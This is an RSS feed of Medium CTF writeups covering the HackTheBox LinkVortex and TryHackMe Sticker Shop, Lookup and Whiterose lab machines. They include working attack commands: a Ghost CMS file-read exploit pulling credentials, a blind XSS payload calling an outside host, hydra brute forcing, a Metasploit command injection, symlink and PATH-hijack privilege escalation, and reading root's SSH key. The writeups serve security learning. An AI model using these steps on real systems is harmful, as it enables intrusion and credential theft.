<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Shadow on Medium]]></title>
        <description><![CDATA[Stories by Shadow on Medium]]></description>
        <link>https://medium.com/@Sh1dO0w?source=rss-8dac72ccd6fb------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*3LehttEuEy2SBcZReBUmHg.jpeg</url>
            <title>Stories by Shadow on Medium</title>
            <link>https://medium.com/@Sh1dO0w?source=rss-8dac72ccd6fb------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 28 Nov 2026 20:13:38 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@Sh1dO0w/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[LinkVortex — HackTheBox Writeup]]></title>
            <link>https://medium.com/@Sh1dO0w/linkvortex-hackthebox-writeup-146a1fa20c6a?source=rss-8dac72ccd6fb------2</link>
            <guid isPermaLink="false">https://medium.com/p/146a1fa20c6a</guid>
            <dc:creator><![CDATA[Shadow]]></dc:creator>
            <pubDate>Tue, 19 Aug 2025 16:07:31 GMT</pubDate>
            <atom:updated>2025-08-19T16:07:31.058Z</atom:updated>
            <content:encoded><![CDATA[<h3>LinkVortex — HackTheBox Writeup</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*HDPJf_tuyrbkgOfy.png" /></figure><p>Welcome to <strong>LinkVortex</strong>, the HTB box that tested my patience with Git leaks, JSON mischief, and a privilege escalation that required thinking like a sysadmin who gave up halfway. This machine is a cocktail of Ghost CMS quirks, broken trust in configuration files, and a cleanup script that tries to be smart but ends up being our golden ticket.</p><p>Sit back, grab a coffee, and join me on this trip through recon, rabbit holes, and one of the cheekiest privesc scripts I’ve seen in a while.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Ftenor.com%2Fembed%2F18382134&amp;display_name=Tenor&amp;url=https%3A%2F%2Ftenor.com%2Fview%2Fdo-this-gif-18382134&amp;image=https%3A%2F%2Fmedia.tenor.com%2FlLeYHr5Mkt8AAAAN%2Fdo-this.png&amp;type=text%2Fhtml&amp;schema=tenor" width="600" height="400" frameborder="0" scrolling="no"><a href="https://medium.com/media/c6fec0ddd8ec3e120929672ef320a72c/href">https://medium.com/media/c6fec0ddd8ec3e120929672ef320a72c/href</a></iframe><p>Let’s start with recon!</p><h3>Enumeration</h3><h3>Nmap Scan</h3><p>I kicked things off with the usual suspects — nothing fancy, just the classic start with an nmap scan:</p><pre>sudo nmap -A 10.10.11.47</pre><p>Results:</p><pre>kali㉿kali)-[~/Downloads]  <br>└─$ sudo nmap -A 10.10.11.47  <br>[sudo] password for kali:   <br>Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-16 13:10 EST  <br>Nmap scan report for linkvortex.htb (10.10.11.47)  <br>Host is up (0.20s latency).  <br>Not shown: 998 closed tcp ports (reset)  <br>PORT   STATE SERVICE VERSION  <br>22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)  <br>| ssh-hostkey:   <br>|   256 3e:f8:b9:68:c8:eb:57:0f:cb:0b:47:b9:86:50:83:eb (ECDSA)  <br>|_  256 a2:ea:6e:e1:b6:d7:e7:c5:86:69:ce:ba:05:9e:38:13 (ED25519)  <br>80/tcp open  http    Apache httpd  <br>|_http-generator: Ghost 5.58  <br>|_http-title: BitByBit Hardware  <br>No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).Open ports:</pre><p>Two ports are open.</p><ul><li>Port 80 — HTTP</li><li>Port 22 — SSH</li></ul><p>Nothing exotic yet. Two doors: one guarded by SSH, the other by a Ghost.</p><h3>Web Enumeration</h3><p>Port 80 drops us into a Ghost CMS-powered blog. Wappalyzer confirms it’s Ghost v5.58, which sets off a mental note: <em>find known CVEs</em>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*F7IMcDx4LEhlEWtm.png" /></figure><p>Let’s run some dirsearch to see what skeletons the web server was hiding.</p><pre>dirsearch -u http://linkvortex.htb/  <br>[13:20:46] 301 -  179B  - /assets  -&gt;  /assets/    <br>[13:20:47] 301 -    0B  - /axis//happyaxis.jsp  -&gt;  /axis/happyaxis.jsp/      <br>[13:20:47] 301 -    0B  - /axis2-web//HappyAxis.jsp  -&gt;  /axis2-web/HappyAxis.jsp/  <br>[13:20:47] 301 -    0B  - /axis2//axis2-web/HappyAxis.jsp  -&gt;  /axis2/axis2-web/HappyAxis.jsp/  <br>[13:20:53] 301 -    0B  - /Citrix//AccessPlatform/auth/clientscripts/cookies.js  -&gt;  /Citrix/AccessPlatform/auth/clientscripts/cookies.js/  <br>[13:21:04] 301 -    0B  - /engine/classes/swfupload//swfupload_f9.swf  -&gt;  /engine/classes/swfupload/swfupload_f9.swf/  <br>[13:21:04] 301 -    0B  - /engine/classes/swfupload//swfupload.swf  -&gt;  /engine/classes/swfupload/swfupload.swf/  <br>[13:21:06] 301 -    0B  - /extjs/resources//charts.swf  -&gt;  /extjs/resources/charts.swf/  <br>[13:21:06] 200 -   15KB - /favicon.ico  <br>[13:21:12] 301 -    0B  - /html/js/misc/swfupload//swfupload.swf  -&gt;  /html/js/misc/swfupload/swfupload.swf/  <br>[13:21:20] 200 -    1KB - /LICENSE  <br>[13:21:46] 200 -  103B  - /robots.txt   <br>[13:21:48] 403 -  199B  - /server-status  <br>[13:21:48] 403 -  199B  - /server-status/  <br>[13:21:52] 200 -  254B  - /sitemap.xml</pre><p>Interesting findings:</p><p>Other endpoints return a 404 error.</p><p>/ghost/has login page access.</p><ul><li>/robots.txt</li><li>/ghost/ → Ghost CMS login panel</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*vVzC_lyIvftSjLQq.png" /></figure><h3>Subdomain Enumeration</h3><p>Let’s try with subdomain enumeration using ffuf.</p><pre>ffuf -u http://linkvortex.htb/ -w /home/kali/Downloads/SecLists-master/Discovery/Web-Content/big.txt -H &quot;Host:FUZZ.linkvortex.htb&quot;  -mc 200  (Subdomain enumeration)  <br>dev                     [Status: 200, Size: 2538, Words: 670, Lines: 116, Duration: 237ms]</pre><p>Found:</p><ul><li><strong>dev.linkvortex.htb</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*04C3PRSXMhgxc3Uy.png" /></figure><p>Nothing is in their.</p><p>Try some directory enumeration in this.</p><pre>dirsearch -u dev.linkvortex.htb -t 50 -i 200  <br>[12:10:06] 200 -   73B  - /.git/description                                   <br>[12:10:06] 200 -  620B  - /.git/hooks/  <br>[12:10:06] 200 -  557B  - /.git/                                              <br>[12:10:06] 200 -  201B  - /.git/config  <br>[12:10:06] 200 -   41B  - /.git/HEAD                                          <br>[12:10:06] 200 -  402B  - /.git/info/                                         <br>[12:10:06] 200 -  240B  - /.git/info/exclude                                  <br>[12:10:06] 200 -  401B  - /.git/logs/  <br>[12:10:06] 200 -  175B  - /.git/logs/HEAD  <br>[12:10:06] 200 -  418B  - /.git/objects/                                      <br>[12:10:06] 200 -  147B  - /.git/packed-refs                                   <br>[12:10:06] 200 -  393B  - /.git/refs/  <br>[12:10:11] 200 -  691KB - /.git/index   </pre><p>It appears to be a Git leak; use GitHack tools to pull it down.</p><pre>python GitHack.py -u &quot;http://dev.linkvortex.htb/.git/&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/642/0*Wlp6ohNeBCJ_kK_7.png" /></figure><p>Go to /GitHack/dev.linkvortex.htb/ghost/core/test/regression/api/admin <br>read the file authentication.test.js</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*S9hf3RKLxpDSarQU.png" /></figure><p>Found some credentials.</p><p>Also found Dockerfile.ghost in /GitHack/dev.linkvortex.htb.</p><p>Use the credentials to log in (we found earlear).</p><p>USERNAME — admin@linkvortex.htb <br>PASSWORD — OctopiFociPilfer45</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*1KdZIN-s0mZ6mdWi.png" /></figure><p>At first, I thought this was it. But no — classic rabbit hole.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/0*HtbTL5Z5bkiRP2Rw.gif" /></figure><p>Now, if you remember from the Wappalyzer extension, we learned that the site is using Ghost v5.58.</p><p>Try to find if there is any vulnerability for this.</p><p>GitHub — 0xyassine/CVE-2023–40028</p><pre>https://github.com/0xyassine/CVE-2023-40028?source=post_page-----5082f90b9507---------------------------------------</pre><p>Found the exploit for Ghost v5.58.</p><p>Change URL to on line 14 in <a href="http://linkvortex.htb/">http://linkvortex.htb/</a> CVE-2023–40028.sh.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/641/0*2wM3JLdt_2h5-ErS.png" /></figure><p>Run the exploit</p><pre>./CVE-2023-40028.sh -u admin@linkvortex.htb -p OctopiFociPilfer45</pre><p>It&#39;s only for getting cred for SSH.</p><pre>./CVE-2023-40028.sh -u admin@linkvortex.htb -p OctopiFociPilfer45  <br>WELCOME TO THE CVE-2023-40028 SHELL  <br>file&gt; /etc/passwd  <br>root:x:0:0:root:/root:/bin/bash  <br>daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin  <br>bin:x:2:2:bin:/bin:/usr/sbin/nologin  <br>sys:x:3:3:sys:/dev:/usr/sbin/nologin  <br>sync:x:4:65534:sync:/bin:/bin/sync  <br>games:x:5:60:games:/usr/games:/usr/sbin/nologin  <br>man:x:6:12:man:/var/cache/man:/usr/sbin/nologin  <br>lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin  <br>mail:x:8:8:mail:/var/mail:/usr/sbin/nologin  <br>news:x:9:9:news:/var/spool/news:/usr/sbin/nologin  <br>uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin  <br>proxy:x:13:13:proxy:/bin:/usr/sbin/nologin  <br>www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin  <br>backup:x:34:34:backup:/var/backups:/usr/sbin/nologin  <br>list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin  <br>irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin  <br>gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin  <br>nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin  <br>_apt:x:100:65534::/nonexistent:/usr/sbin/nologin  <br>node:x:1000:1000::/home/node:/bin/bash</pre><p>Now if you remember the interesting findings from _Dockerfile.ghost_</p><pre>/var/lib/ghost/config.production.json</pre><pre>./CVE-2023-40028.sh -u admin@linkvortex.htb -p OctopiFociPilfer45  <br>WELCOME TO THE CVE-2023-40028 SHELL  <br>file&gt; /var/lib/ghost/config.production.json  <br>{  <br>  &quot;url&quot;: &quot;http://localhost:2368&quot;,  <br>  &quot;server&quot;: {  <br>    &quot;port&quot;: 2368,  <br>    &quot;host&quot;: &quot;::&quot;  <br>  },  <br>  &quot;mail&quot;: {  <br>    &quot;transport&quot;: &quot;Direct&quot;  <br>  },  <br>  &quot;logging&quot;: {  <br>    &quot;transports&quot;: [&quot;stdout&quot;]  <br>  },  <br>  &quot;process&quot;: &quot;systemd&quot;,  <br>  &quot;paths&quot;: {  <br>    &quot;contentPath&quot;: &quot;/var/lib/ghost/content&quot;  <br>  },  <br>  &quot;spam&quot;: {  <br>    &quot;user_login&quot;: {  <br>        &quot;minWait&quot;: 1,  <br>        &quot;maxWait&quot;: 604800000,  <br>        &quot;freeRetries&quot;: 5000  <br>    }  <br>  },  <br>  &quot;mail&quot;: {  <br>     &quot;transport&quot;: &quot;SMTP&quot;,  <br>     &quot;options&quot;: {  <br>      &quot;service&quot;: &quot;Google&quot;,  <br>      &quot;host&quot;: &quot;linkvortex.htb&quot;,  <br>      &quot;port&quot;: 587,  <br>      &quot;auth&quot;: {  <br>        &quot;user&quot;: &quot;bob@linkvortex.htb&quot;,  <br>        &quot;pass&quot;: &quot;fibber-talented-worth&quot;  <br>        }  <br>      }  <br>    }  <br>}  <br>file&gt; ^C</pre><p>Find SSH login credentials.</p><pre>ssh bob@linkvortex.htb  <br>The authenticity of host &#39;linkvortex.htb (10.10.11.47)&#39; can&#39;t be established.  <br>ED25519 key fingerprint is SHA256:vrkQDvTUj3pAJVT+1luldO6EvxgySHoV6DPCcat0WkI.  <br>This key is not known by any other names.  <br>Are you sure you want to continue connecting (yes/no/[fingerprint])? yes  <br>Warning: Permanently added &#39;linkvortex.htb&#39; (ED25519) to the list of known hosts.  <br>bob@linkvortex.htb&#39;s password:   <br>Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 6.5.0-27-generic x86_64)  <br>  <br> * Documentation:  https://help.ubuntu.com  <br> * Management:     https://landscape.canonical.com  <br> * Support:        https://ubuntu.com/pro  <br>  <br>This system has been minimized by removing packages and content that are  <br>not required on a system that users do not log into.  <br>  <br>To restore this content, you can run the &#39;unminimize&#39; command.  <br>Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings  <br>  <br>Last login: Fri Jan 17 18:17:18 2025 from 10.10.16.74  <br>bob@linkvortex:~$ ls  <br>user.txt  <br>bob@linkvortex:~$ cat user.txt  <br>e67ed2c07cbdc3cf80f04165******f0</pre><p>SSH login success and got the user flag.</p><h3>Privilege Escalation</h3><p>Now for the fun part.</p><p>sudo -l revealed that Bob can run:</p><pre>bob@linkvortex:~$ sudo -l  <br>Matching Defaults entries for bob on linkvortex:  <br>    env_reset, mail_badpass,  <br>    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,  <br>    use_pty, env_keep+=CHECK_CONTENT  <br>  <br>User bob may run the following commands on linkvortex:  <br>    (ALL) NOPASSWD: /usr/bin/bash /opt/ghost/clean_symlink.sh *.png<br><br>Bob may not be the high-privileged user, but he can still execute these commands. So, let’s see what is inside that file:<br><br>bob@linkvortex:~$ cat /opt/ghost/clean_symlink.sh  <br>#!/bin/bash  <br>  <br>QUAR_DIR=&quot;/var/quarantined&quot;  <br>  <br>if [ -z $CHECK_CONTENT ];then  <br>  CHECK_CONTENT=false  <br>fi  <br>  <br>LINK=$1  <br>  <br>if ! [[ &quot;$LINK&quot; =~ \.png$ ]]; then  <br>  /usr/bin/echo &quot;! First argument must be a png file !&quot;  <br>  exit 2  <br>fi  <br>  <br>if /usr/bin/sudo /usr/bin/test -L $LINK;then  <br>  LINK_NAME=$(/usr/bin/basename $LINK)  <br>  LINK_TARGET=$(/usr/bin/readlink $LINK)  <br>  if /usr/bin/echo &quot;$LINK_TARGET&quot; | /usr/bin/grep -Eq &#39;(etc|root)&#39;;then  <br>    /usr/bin/echo &quot;! Trying to read critical files, removing link [ $LINK ] !&quot;  <br>    /usr/bin/unlink $LINK  <br>  else  <br>    /usr/bin/echo &quot;Link found [ $LINK ] , moving it to quarantine&quot;  <br>    /usr/bin/mv $LINK $QUAR_DIR/  <br>    if $CHECK_CONTENT;then  <br>      /usr/bin/echo &quot;Content:&quot;  <br>      /usr/bin/cat $QUAR_DIR/$LINK_NAME 2&gt;/dev/null  <br>    fi  <br>  fi  <br>fi<br><br>If the file name suffix is .png And the file is a symbol link. And the target path Not included etcor root.<br><br>Then create a symbol link to the root.txt. Since the script will check the parameters, a second link can be used to bypass, and at the same time CHECK_CONTENT Set to true.<br><br>bob@linkvortex:~$ ln -s /root/root.txt hyh.txt  <br>bob@linkvortex:~$ ln -s /home/bob/hyh.txt hyh.png  <br>bob@linkvortex:~$ sudo CHECK_CONTENT=true /usr/bin/bash /opt/ghost/clean_symlink.sh /home/bob/hyh.png  <br>Link found [ /home/bob/hyh.png ] , moving it to quarantine  <br>Content:  <br>608398432f83136e59369981d******e</pre><p>The root.txt flag? Captured. The mission? Accomplished.</p><p>This box was a fun mix of:</p><ul><li>Git leaks → Ghost CMS exploit → config credentials → SSH access</li><li>And a cheeky privesc involving symlink inception (symlink inside symlink )</li></ul><p>Moral of the story? Never trust dev environments, never hardcode creds in test files, and <strong>never</strong> let your “cleanup” script think it’s smarter than the attacker.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=146a1fa20c6a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Sticker Shop CTF Writeup — TryHackMe]]></title>
            <link>https://medium.com/@Sh1dO0w/the-sticker-shop-ctf-writeup-tryhackme-e07c0e08447d?source=rss-8dac72ccd6fb------2</link>
            <guid isPermaLink="false">https://medium.com/p/e07c0e08447d</guid>
            <dc:creator><![CDATA[Shadow]]></dc:creator>
            <pubDate>Sat, 30 Nov 2024 17:37:06 GMT</pubDate>
            <atom:updated>2024-11-30T17:37:06.428Z</atom:updated>
            <content:encoded><![CDATA[<h3>The Sticker Shop CTF Writeup — TryHackMe</h3><p><strong>Full writeup for the TryHackMe room: </strong>The Sticker Shop<strong>( Easy Room)</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GuW7fLgTrfkFmlFOzst7Xw.png" /></figure><h3>Description</h3><p>Your local sticker shop has finally developed its own webpage. However, the developers lack web development experience. As a result, they decided to develop and host the webpage on the same computer they use for browsing the internet and checking customer feedback. Smart move!</p><p>The goal of this challenge is to exploit the website and read the flag located at:<br><a href="http://10.10.69.107:8080/flag.txt.">http://10.10.69.107:8080/flag.txt.</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/770/1*UyvYQ3jXXfJD33mGwd3NvA.png" /></figure><p>firstly I go to the website and I found only two pages</p><p><strong>Home Page</strong></p><ul><li>Displays a simple interface with cat stickers and some styling.</li><li>No apparent vulnerabilities were found here.</li></ul><p><strong>Submit Feedback Page</strong></p><ul><li>It contains a feedback form with a textarea for users to submit their comments.</li><li>The form sends a POST request to /submit_feedback.</li></ul><p>This feedback session bugs me so I tried to test SQL but nothing was found</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/949/1*-5xZ9cFd8bNiDytFBcIYZA.png" /></figure><p>so then I tried blind xss by using burb collaborator</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fmiLZJymxdiaPAtPIQwb_w.png" /></figure><blockquote>I use this payload &lt;script src=https://your-burb-collaborator&gt;&lt;/script&gt;</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/826/1*wnxsHHWrtJpibFBq0IVZjg.png" /></figure><p>After submitting the payload in the feedback form, I observed a DNS interaction logged in Burp Collaborator, confirming the execution of the payload.</p><p>This confirmed the presence of a <strong>Blind XSS</strong> vulnerability.</p><ol><li>I needed a way to exfiltrate data from the server, so I set up a Python HTTP server to act as my listener:</li></ol><p>python3 -m http.server 8000</p><p>and craft a payload that can Fetch the flag from the server’s localhost (127.0.0.1:8080/flag.txt).</p><p>I used the localhost address because they said that they host everything on the same computer that they use for browsing the Internet and reviewing customer feedback.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*fBZ6GnYQdIu7PRs1.png" /></figure><blockquote><em>Note: Edit and Replace your own IP Address.</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aU-JmTXXVSqD1bktOt8e2g.png" /></figure><p>and boom I got the flag! easy peasy</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/638/1*pYgzBXO_orIgbkiSjx1Pzw.png" /></figure><p>Happy hacking, and see you all in the next CTF!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e07c0e08447d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Lookup CTF Writeup — TryHackMe]]></title>
            <link>https://medium.com/@Sh1dO0w/lookup-ctf-writeup-tryhackme-d9ed1f7311c0?source=rss-8dac72ccd6fb------2</link>
            <guid isPermaLink="false">https://medium.com/p/d9ed1f7311c0</guid>
            <dc:creator><![CDATA[Shadow]]></dc:creator>
            <pubDate>Sun, 24 Nov 2024 15:19:04 GMT</pubDate>
            <atom:updated>2024-11-24T15:19:04.802Z</atom:updated>
            <content:encoded><![CDATA[<h3>Lookup CTF Writeup — TryHackMe</h3><p><strong>Full writeup for the TryHackMe room: lookup ( Easy Room)</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/550/0*XSe6lUH5wTPhd_Sr.png" /></figure><p>I start with a Nmap basic scan and find two open ports. On port 22, we have SSH; on port 80.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/604/1*0VOcfx4VLOmsvewErC446w.png" /></figure><p>When I visit <a href="http://10.10.8.29/">ht</a>tps://10.10.140.23/, it redirects me to http://lookup.thm/. We should add lookup.thm it to our /etc/hosts file.</p><pre>$ sudo nano /etc/hosts<br>10.10.140.23    lookup.thm</pre><p>it’s a login page, Trying some common credentials like “admin: admin” and “admin: password” doesn’t work, and SQLi attempts also fail. I also tried enumerating subdomains and brute-forcing directories and files, but I found nothing useful, At this point, I was a bit stuck</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/958/1*ME35fvmpMWvMi9yISBTTeA.png" /></figure><p>However, during my observation, I noticed that login attempts yielded two different responses, which hinted that the usernames were being validated. From this, I confirmed that “<strong>admin</strong>” is a valid username.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/863/1*-zhZSq8NQ288sLdqnYJmxg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/524/1*cTwTillVzMgpSeZzVwgBpA.png" /></figure><p>so now I capture POST login request in burp suite add payload in place of username and settings grep — username and boom I find another username …….</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/939/1*lDri2z7FZH2nTcMYMxxbSQ.png" /></figure><p>Let’s try a brute force on jose:</p><pre>hydra -l jose -P /usr/share/wordlists/rockyou.txt lookup.thm http-post-form &quot;/login.php:username=^USER^&amp;password=^PASS^:Wrong&quot; -V</pre><p>And after a few minutes, we get a valid password!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IWz-9pWOIQgUAiC7Jm-u3A.png" /></figure><p>Logged in as <em>jose</em>, I discovered a new subdomain. Make sure to add it to the /etc/hosts file to proceed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*k5flc2lT140BsOcj-dO7Dg.png" /></figure><p>I searched through the files for any useful leads but found nothing significant. Finally, I focused on the file manager’s version to investigate potential exploits.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/512/0*dOPlkUY4YP1B6_MX.png" /></figure><p>Searching for known exploits for elfinder, we can see a metasploit module that targets versions before 2.1.48 :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/729/1*rf5GpslugV7gdSkV7LSl-g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/939/1*zfZqoL3FjJSxA60p9lS7oQ.png" /></figure><pre>msfconsole</pre><pre>exploit/unix/webapp/elfinder_php_connector_exiftran_cmd_injection</pre><p>Easy peasy!<br>We successfully obtained a shell as <strong>www-data</strong>. 🚀</p><p>Inside the system, we have two additional users: <strong>think</strong> and <strong>root</strong>.</p><pre>find / -perm -u=s -type f 2&gt;/dev/null</pre><p>During my search for privilege escalation opportunities, I came across an unexpected file located at /usr/sbin/pwm, which seemed interesting.</p><p>I was stuck for a while when I ask GPT sir this give me this useful info</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/738/0*lCybbCzGWED3djeN.png" /></figure><p>I decided to follow this path since I didn’t find anything else.</p><p>After a series of battles with errors, I found a way to proceed.</p><pre>echo &#39;#!/bin/bash&#39; &gt; /tmp/id<br>echo &#39;echo &quot;uid=33(think) gid=33(think) groups=(think)&quot;&#39; &gt;&gt; /tmp/id<br>chmod +x /tmp/id<br>export PATH=/tmp:$PATH<br>/usr/sbin/pwm</pre><p>Now it’s time to retrieve the correct password from the list of possible passwords. I will save the valid password into a file.</p><pre>hydra -l think -P /home/mystic/Downloads/test/htb/password.txt  -t 4 ssh://10.1</pre><p>“Think” can use the look binary as sudo, which is useful for reading files. GTFObin might be helpful for this.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*LR-IDpMuphKMDsMl.png" /></figure><p>Through this, I planned to get root and retrieve both flags. However, root access is not required to achieve this.</p><pre>LFILE=/root/.ssh/id_rsa</pre><pre>sudo look &#39;&#39; &quot;$LFILE&quot;</pre><p>Save the id_rsa file and set the correct permissions with the command:</p><pre>chmod 600 savedfilename</pre><pre>ssh -i savedfilename root@machineIP</pre><h3>we are root !!!</h3><p>And that’s it! Lookup has been ROOT3D , that was easy I had fun I hope you guys enjoy this see you all in the new challenge, happy hacking !</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d9ed1f7311c0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Whiterose CTF Writeup — TryHackMe]]></title>
            <link>https://medium.com/@Sh1dO0w/whiterose-ctf-writeup-tryhackme-a5f625c166fc?source=rss-8dac72ccd6fb------2</link>
            <guid isPermaLink="false">https://medium.com/p/a5f625c166fc</guid>
            <dc:creator><![CDATA[Shadow]]></dc:creator>
            <pubDate>Mon, 04 Nov 2024 05:20:25 GMT</pubDate>
            <atom:updated>2024-11-04T05:20:25.088Z</atom:updated>
            <content:encoded><![CDATA[<h3><strong>Whiterose CTF Writeup — TryHackMe</strong></h3><p><strong>Full writeup for the TryHackMe room: Whiterose ( Easy Room</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/556/0*aX86h6e6_whF88Qc.png" /></figure><p>Welcome to Whiterose</p><p>This challenge is based on the Mr. Robot episode “409 Conflict”. Contains spoilers!</p><p>Go ahead and start the machine, it may take a few minutes to fully start up.</p><p>And oh! I almost forgot! — You will need these: Olivia Cortez:olivi8</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/830/0*apIXFCKGZzmIleU3.png" /></figure><p>I start with an Nmap scan and find two open ports. On port 22, we have SSH; on port 80, we have an ngix/1.14.0 web server.</p><blockquote><em>Let’s do an </em><strong><em>nmap </em></strong><em>scan →</em></blockquote><pre>nmap -Pn -sV -sC &lt;ip&gt;-T4 </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/628/1*wUi0mTvvG_8PDXid4MMzIA.png" /></figure><p>When I visit <a href="http://10.10.8.29/">ht</a>tps://10.10.8.9/, it redirects us to http://cyprusbank.thm/. We should add cyprusbank.thm to our /etc/hosts file.</p><pre>$ sudo nano /etc/hosts<br>10.10.8.29    cyprusbank.thm</pre><p>After I reloaded the page, I only saw a static page without any functionality.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*eDMiAbjnhIUImKVf.png" /></figure><p>I started gobuster and The directory scan did not reveal anything either.</p><p>when we couldn&#39;t find any directories so can searched for subdomains</p><h3>Search for Subdomains:</h3><p>To find subdomains, we can use the following command:</p><pre>$ ffuf -u http://cyprusbank.thm/ -w /usr/share/wordlists/amass/subdomains-top1mil-110000.txt -H &quot;Host: FUZZ.cyprusbank.thm&quot; -fw 1 </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/632/1*3o5a5TbKYEPbzxN0MSY4Gg.png" /></figure><p>I found the admin subdomain, so We need to add admin.cyprusbank.thm to /etc/hosts on Kali Linux with root permissions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*w6Ek0fHM8_9UGAe7.png" /></figure><p>Next, I try to log in using the following credentials:</p><ul><li><strong>Username</strong>: Olivia Cortez</li><li><strong>Password</strong>: olivi8</li></ul><p>and boom I can log in..</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*DtaZdvi5c46ARlbI.png" /></figure><p>and I search for the Tyrell wellick&#39;s phone number, then I explore everything and find something useful in the messages section</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/922/1*HhR9Eqa_ey0sc-Ur6i3q-w.png" /></figure><p>we can change the c=5 to c=0 then we able to see the new user and password</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/915/1*c-jgkRait0wHDxIZGVlncA.png" /></figure><p>Now I log in as Gayle Bev’s account and obtain Tyrell Wellick’s phone number.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/737/0*VqQOWZ4u0XsMAlTY.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/671/0*EWOTAPoVlyw0-z5U.png" /></figure><p>Now I have noticed that I am also able to access the Settings page now.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*00u-8QVzJZC3CqQr.png" /></figure><p>Now I try SQL injection and other things but nothing works, so I capture the request to the burb</p><p>When I tested the form, I was able to see that it lets us change customer passwords and shows the new password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/922/1*NTCb959oWmVm3UIcIkN8lA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/914/1*rIJkeNaNX-4D3lJCGRVEWQ.png" /></figure><p>I found out This machine is susceptible to EJS Server-Side Template Injection (SSTI). We can utilize the following method to establish a reverse shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/860/1*0nNX8GEVG3PR83wg4S1RjQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*b_1Y5Y8hyzNr3pWN.png" /></figure><p>open a netcat listener, use the command:</p><pre>$nc -lnvp 